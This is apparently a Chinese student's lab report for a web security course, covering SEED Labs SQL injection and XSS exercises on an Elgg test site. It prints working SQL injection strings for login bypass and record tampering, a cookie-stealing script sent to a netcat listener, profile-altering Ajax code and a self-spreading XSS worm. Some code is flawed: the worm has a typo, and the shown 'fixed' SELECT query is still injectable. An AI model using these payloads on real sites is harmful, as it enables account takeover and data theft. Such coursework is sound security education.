• 20212923 202120222 《网络攻防实践》 第十次作业


    20212923 2021-2022-2 《网络攻防实践》第十次作业

    实践十:Web应用程序安全攻防

    课程:《网络攻防实践》

    班级: 2129

    姓名: 王文彬

    学号:20212923

    实验教师:王志强

    实验日期:2022年5月21日

    必修/选修: 选修

    一.实践内容

    1. 实践要求介绍

    • 实践内容一

      • 我们已经创建了一个Web应用程序,并将其托管在www.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:
        • 任务1: 熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
        • 任务2: 对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
        • 任务3: 对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
        • 任务4: SQL对抗:修复上述SQL注入攻击漏洞。
    • 实践内容二

      • 为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。
        • 任务1: 发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
        • 任务2: 弹窗显示cookie信息:将cookie信息显示。
        • 任务3: 窃取受害者的cookies:将cookie发送给攻击者。
        • 任务4: 成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
        • 任务5: 修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
        • 任务6: 编写XSS蠕虫。
        • 任务7: 对抗XSS攻击。

    Web应用安全威胁

    • 知识点总结:
    1. 注入:将不受信任的数据作为命令或查询的一部分发送到解析器时,会产生注入SQL注入、NoSQL注入、OS注入、LDAP注入缺陷;
    2. 失效的身份验证:通过错误使用应用程序的身份认证和会话管理功能,攻击者能够破译密码、密钥、或会话令牌
    3. 敏感信息泄露:许多Web程序和API都无法保护敏感数据,攻击者可通过窃取或修改未加密数据来实施身份盗窃等犯罪行为
    4. XML外部实体(XXE):许多较早的或配置错误的XML处理器评估的XML文件中的外部实体引用。攻击者可利用外部实体窃取内部文件、执行远程代码
    5. 失效的访问控制:未对通过身份验证的用户实施恰当的访问控制
    6. 安全配置错误:安全配置错误是最常见的安全问题,这通常是由于不安全默认配置、不完整的临时配置、开源云错误等造成
    7. 跨站脚本(XSS):XSS让攻击者能够在受害者的浏览器中执行脚本,并劫持用户会话、破坏网站或将用户重定向到恶意站点
    8. 不完全的反序列化:不安全的反序列化会导致远程代码执行
    9. 使用含有已知漏洞的组件:组件如库、框架和其他软件模块拥有和应用程序相同的权限
    10. 不足的日志记录和监控:不足的日志记录和监控,以及事件影响缺失或无效集成,使攻击者能够进一步攻击系统、保持持续性、篡改、提取或销毁数据

    SQL注入攻击原理

    • 知识点总结:
    1. SQL 注入(SQLi)是一种可执行恶意 SQL 语句的注入攻击。这些 SQL 语句可控制网站背后的数据库服务。攻击者可利用 SQL 漏洞绕过网站已有的安全措施。他们可绕过网站的身份认证和授权并访问整个 SQL 数据库的数据。他们也可利用 SQL 注入对数据进行增加、修改和删除操作。
    2. SQL 注入可影响任何使用了 SQL 数据库的网站或应用程序,例如常用的数据库有 MySQL、Oracle、SQL Server 等等。攻击者利用它,便能无需授权地访问你的敏感数据,比如:用户资料、个人数据、商业机密、知识产权等等。SQL 注入是一种最古老、最流行、也最危险的网站漏洞。OWASP 组织(Open Web Application Security Project)在 2017 年的 OWASP Top 10 文档中将注入漏洞列为对网站安全最具威胁的漏洞。
    3. SQL注入是利用Web应用程序数据层存在的输入验证不完善安全漏洞的一类代 码注入攻击技术。 这类被攻击的漏洞被称为SQL注入漏洞,是由于用户输入没有被正确地过滤以消除SQL语言中的字符串转义字符, 如引号、 双引号 、 反引号、 分号等,或者没有进行严格的类型判断,如为判断输入参数是否合法整数类型等,从而使得用户可以输入并执行一些非预期的SQL指令代码。
    4. SQL 注入攻击的原理是向Web应用程序提供的用户输入接口(如一个动态页面的输入参数、 表单的输入框, 等等)输入一段精心构造的 SQL 查询命令, 攻击和利用不完善的输入验证机制, 使得注入代码得以执行完成非预期的攻击操作行为。


    实践_One —— 任务一:熟悉SQL语句,查看存储在数据库中的员工的一些基本信息

    STEP 1: 关于数据库的命令,我们大多数本科学习过计算机的同学们应该大多都有接触过,在此次实践任务中主要所用到的也是基础命令,类似与 show databases;use XXX;等,这里需要注意的是,sql语句后同样也是需要输入分号(;)的哦!!

    STEP 2: 我们输入命令mysql -u root -p后回车,输入密码seedubuntu进入数据库;

    STEP 3: 我们可以输入show databases;查看当前数据库中存在的表;

    STEP 4: 该试验任务中,我们所使用的表是User,我们输入命令use Users;show tables;后可以看到我们有一个表credential

    STEP 5: 我们输入命令select * from credential;打印表中的数据,可以看到用户的信息;


    实践_One —— 任务二:针对SELECT语句的SQL注入攻击

    STEP 1: 我们可以观察文档中的sql语句,我们首先通过两个变量值对前端传到后端的参数进行保存,程序检查是否有任何记录与提供的用户名和密码匹配;如果存在匹配项,则表明用户已成功通过身份验证,并获得了相应的员工信息。 如果不匹配,则认证失败。

    STEP 2: 现在我们知道管理员的账户名是admin,在不知道密码的情况下实行SQL注入攻击进入Web应用。当我们使用字符串admin '#进行登录,字符串admin '#进行登录;

    STEP 3: 同时我们也可以输入'or TRUE or'进行登陆,因为通过一个true的判断,直接可以拿到整张表的数据,因为从代码中,我们可以看到,首先取到的0号位置的数据,因此通过这个方式登陆我们进入的是Alice的账号



    实践_One —— 任务三:对UPDATE语句的SQL注入攻击

    STEP 1: 首先我们同样先去看看代码中的这部分是如何进行操作的,我们可以看到,在处理数据中,sql语句并没有加有什么权限问题,因此,这个updata说明是可以被注入攻击的。

    STEP 2: 我们可以通过在输入用户名的地方,可以输入Admin1',Salary='1234567,因此#后的语句全都被注释了,因此就直接修改了用户Admin、的工资,我们可以看数据已经被修改成功了。

    STEP 3: 接下来,我们可以用相似的方法对用户的密码进行攻击,我们首先使用工具查看以下123的哈希值是多少,然后我们可以通过', Password='40bd001563085fc35165329ea1ff5c5ecbdbbeef' where Name='Boby';#作为用户名输入后,发现可以用123进行登陆




    实践_One —— 任务四:SQL对抗,修复上述SQL注入攻击漏洞

    STEP 1: 我们可以使用预处理代码,用参数进行绑定,绑定了用户名和hash之后的密码,同时再次对结果进行绑定。因为SQl注入漏洞的本质原因是由于执行语句和数据放在一起导致的,使用预处理语句机制可以很好的防止这一攻击出现。可以简单的理解为编译过的要执行的SQL语句模板,可以使用不同的变量参数定制它。

    STEP 2: 我们可以观察文件,这个部分是对select漏洞代码的修改

          $sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password
          FROM credential
          WHERE name= '$input_uname' and Password='$hashed_pwd'";
          if (!$result = $conn->query($sql)) {
            echo "</div>";
            echo "</nav>";
            echo "<div class='container text-center'>";
            die('There was an error running the query [' . $conn->error . ']\n');
            echo "</div>";
          }
          /* convert the select return result into array type */
          $return_arr = array();
          while($row = $result->fetch_assoc()){
            array_push($return_arr,$row);
          }
    
          /* convert the array type to json format and read out*/
          $json_str = json_encode($return_arr);
          $json_a = json_decode($json_str,true);
          $id = $json_a[0]['id'];
          $name = $json_a[0]['name'];
          $eid = $json_a[0]['eid'];
          $salary = $json_a[0]['salary'];
          $birth = $json_a[0]['birth'];
          $ssn = $json_a[0]['ssn'];
          $phoneNumber = $json_a[0]['phoneNumber'];
          $address = $json_a[0]['address'];
          $email = $json_a[0]['email'];
          $pwd = $json_a[0]['Password'];
          $nickname = $json_a[0]['nickname'];
    
    

    STEP 3: 我们可以观察文件,这个部分是对update漏洞代码的修改

    if($input_pwd!=''){
        // In case password field is not empty.
        $hashed_pwd = sha1($input_pwd);
        //Update the password stored in the session.
        $_SESSION['pwd']=$hashed_pwd;
        $sql = $conn->prepare("UPDATE credential SET nickname= ?,email= ?,address= ?,Password= ?,PhoneNumber= ? where ID=$id;");
        $sql->bind_param("sssss",$input_nickname,$input_email,$input_address,$hashed_pwd,$input_phonenumber);
        $sql->execute();
        $sql->close();
      }else{
        // if passowrd field is empty.
        $sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");
        $sql->bind_param("ssss",$input_nickname,$input_email,$input_address,$input_phonenumber);
        $sql->execute();
        $sql->close();
      }
    
    


    实践_Two —— SEED XSS跨站脚本攻击实验(Elgg)

    XSS (Cross Site Scripting) 跨站脚本攻击从 20 世纪 90 年代就已经出现,近年来随着Web技术的发展与普及应用, XSS 已经超过传统的缓冲区溢出攻击,成为排名最靠前的安全威胁类型之一,近年来大量知名网站,包括 Twitter、 Facebook 、 MySpace 以及国内的百度、 搜狐、人人、开心网等都曾被发现多个 XSS 安全漏洞,研究数据也表明近68%的网站易受XSS攻击威胁,这些都表明 XSS 攻击已经成为目前 Web 应用程序最为严重和普遍的安全问题。与代码注入攻击不同的是,XSS 跨站脚本攻击的最终目标不是提供服务的 Web 应用程序, 而是使用Web 应用程序的用户。 XSS 跨站脚本漏洞存在于 Web 应用程序中,使得攻击者可以在 Web页面中插入恶慈的 HTML或 JavaScript代码,当用户浏览该网页时,客户端浏览器就会解析和执行这些插入的代码,从而造成获取用户敏感信息、客户端渗透攻击等危害后果。

    • 实验环境:
      • SEED Ubuntu 16.04
      • Elgg社交Web应用网站
      • 网站http://www.xsslabelgg.com,以及相关的文件夹/var/www/XSS/Elgg/
      • 使用HTTP Header Live检查HTTP头,需要我们自己在firefox安装插件目录进行安装
      • 一些用户名及密码
    userna pw
    admin seedelgg
    alice seedalice
    boby seedboby
    ryan seedryan

    实践_Two —— 任务一:发布恶意消息,显示警报窗口

    STEP 1:我们首先在主页打开XSS网页,并且使用alice的账户进行登陆Elgg。
    STEP 2: 在该实践中,我们主要需要在alice的个人主页中的个人信息编辑中,对Brief description域中添加JavaScript代码并保存,其目的在于能够让访问alice个人主页的人看到警告窗口;

    STEP 3: 我们添加<script>alert('XSS');</script>并保存;

    STEP 4: 我们再切换为boby的账户后,访问alice的个人主页就可以看到警报窗口。


    实践_Two —— 任务二:弹窗显示cookie信息

    STEP 1: 该实践与上一实践类似,需要我们在alice个人主页Brief description域中添加JavaScript代码添加<script>alert('XSS');</script>即可;

    STEP 2: 我们使用boby的账号去访问alice的个人主页即可以看到自己的cookie信息。


    实践_Two —— 任务三:窃取受害者的cookies

    STEP 1: 我们可以通过Javascript插入一个图片,其src属性可以设置为攻击者的机器地址进行攻击,让靶机将cookies发送的攻击者的设置端口上,使得攻击者开启一个监听后,可以打印任何收到的内容;

    STEP 2: 在这里我们添加代码<script>document.write('<img src=http://127.0.0.1:5555?c='+escape(document.cookie) + ' >');</script>

    STEP 3: 我们在主机上输入命令nc -l 5555 -v,对其进行监听,后续可以看到监听到的cookie。


    实践_Two —— 任务四:成为受害者的朋友

    STEP 1: 首先我们需要检查自己的firefox中有没有安装HTTP Header Live,没有安装的小伙伴,可以通过浏览器中tools中对插件进行下载并安装。

    STEP 2: 我们接触过一些前端知识的小伙伴肯定知道前端与后端的每一次交互,即一次action,我们可以看到add friend的操作中的参数内容(本人在做此次实验中,由于一开始不知道如何去显示HTTP Header点击后的内容,总是点击变白,等待无响应,就用了Wireshark。但是!!!其实只需要再点击一下右键即可。。。。),我们可以看到elgg_ts和 elgg_token,这是Elgg本身自带的一套严格的表单验证方法,通过才可以进行加朋友。同样,我们可以看到朋友的idcookie,通过这些东西我们构造了javascript脚本。

    STEP 3: 下面代码即为我们构造的代码,现在我们继续将这段代码放进alice的About me中,需要注意的是,需要使用的是edit HTML模式;

    STEP 4: 接下来,我们使用boby访问alice主页,可以看到,boby自动添加alice为好友。




    实践_Two —— 任务五:修改受害者的信息

    STEP 1: 该实践目的在于被攻击者访问alice主页,即可以改变被攻击者主页的内容;

    STEP 2: 我们继续在alice个人主页部分添加以下代码,可以对content变量进行修改。

    <script type="text/javascript">
    	window.onload = function(){
      //JavaScript code to access user name, user guid, Time Stamp __elgg_ts
      //and Security Token __elgg_token
    	var userName=elgg.session.user.name;
    	var guid="&guid="+elgg.session.user.guid;
    	var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
    	var token="&__elgg_token="+elgg.security.token.__elgg_token;
      
      var content=token+ts+"name="+userName+"&description=<p>This have been cracked by alice_wwb.</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2"+guid;  
    
      var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
    	  
    	var samyGuid=44;    
    	if(elgg.session.user.guid!=samyGuid){
       	//Create and send Ajax request to modify profile
       	var Ajax=null;
       	Ajax=new XMLHttpRequest();
       	Ajax.open("POST",sendurl,true);
    		Ajax.setRequestHeader("Host","www.xsslabelgg.com");
    		Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        Ajax.send(content);
      }
    }
    
    </script>
    
    
    

    STEP 3: 当我们使用boby的账号登陆后访问alice主页即可以发现,boby主页about me被修改了。



    实践_Two —— 任务六:编写XSS蠕虫

    STEP 1: 在之前的实践中,我们也已经接触了什么是蠕虫病毒,其实就是如何去让代码去传播,去繁殖的过程。在该任务中,我们主要采用的是DOM API的方式,简单来讲就是将web界面与javascript脚本连接在一起。

    STEP 2: 我们主要使用的是innerHTML方法,我们将以下代码放入alicabout me中;

    
    <script id="worm" type="text/javascript">
    	window.onload = function(){
    		var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
    		var jsCode = document.getElementById("worm").innerHTML;
    		var tailTag = "</" + "script>"; 
    		var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
    
    		vaar userName=elgg.session.user.name;
    		var guid="&guid="+elgg.session.user.guid;
    		var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
    		var token="&__elgg_token="+elgg.security.token.__elgg_token;
    
    		//Construct the content of your url.
    		var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by wwb attack  "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
    		var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
    		alert(content)
    
    		var samyGuid=44;
    
    		if(elgg.session.user.guid!=samyGuid)
    		{
    			var Ajax=null;
    			Ajax=new XMLHttpRequest();
    			Ajax.open("POST",sendurl,true);
    			Ajax.setRequestHeader("Host","www.xsslabelgg.com");
    			Ajax.setRequestHeader("Content-Type",
    			"application/x-www-form-urlencoded");
    			Ajax.send(content);
    		}
    		
    	}</script>
    
    
    

    STEP 3: 我们可以通过观察HTTP Header中看到进行了拼接;

    STEP 4: 我们使用boby的账号对alice进行访问后,可以发现自己已经被攻击,同时,再使用Samy的账号登陆,访问boby发现,也已经被攻击,说明蠕虫已经进行了繁殖。



    实践_Two —— 任务七:对抗XSS攻击

    STEP 1: Elgg本身已经提供对抗XSS攻击的插件,我们利用管理员账户进行登录,使用插件HTMLawed,将其打开。

    STEP 2: 我们再返回alice的账号中,发现XSS攻击已经失效,代码也被显示出来。


    二、 实验过程中遇到的问题和解决过程

    1. 在实践过程中,使用HTTP Header live中,发现点击不能够显示详细界面
      • 我们需要再右键点击一次界面即可以显示出来。

    三、感想

    在此次实践中,学习了sql注入攻击以及XSS,能够让我们将来在编写信息系统的时候使用sql语句更加警惕。

    四、参考文献

    软件安全实验——lab8(SQL注入)

  • 相关阅读:
    vue jsx 使用指南
    学习typescript(二)
    callback, promise, co/yield, async/await 大混战
    学习typescript(一)
    # bug 查找 (一) 快速记录 IE8 下三个问题
    ShiWangMeSDK Android版接口文档 0.2.0 版
    RbbitMQ基础知识
    SpringMVC集成rabbitMQ
    使用pinyin4j汉字转pinyin
    Maven依赖调解
  • 原文地址:https://www.cnblogs.com/qh45wangwenbin/p/16297042.html
Copyright © 2020-2023  润新知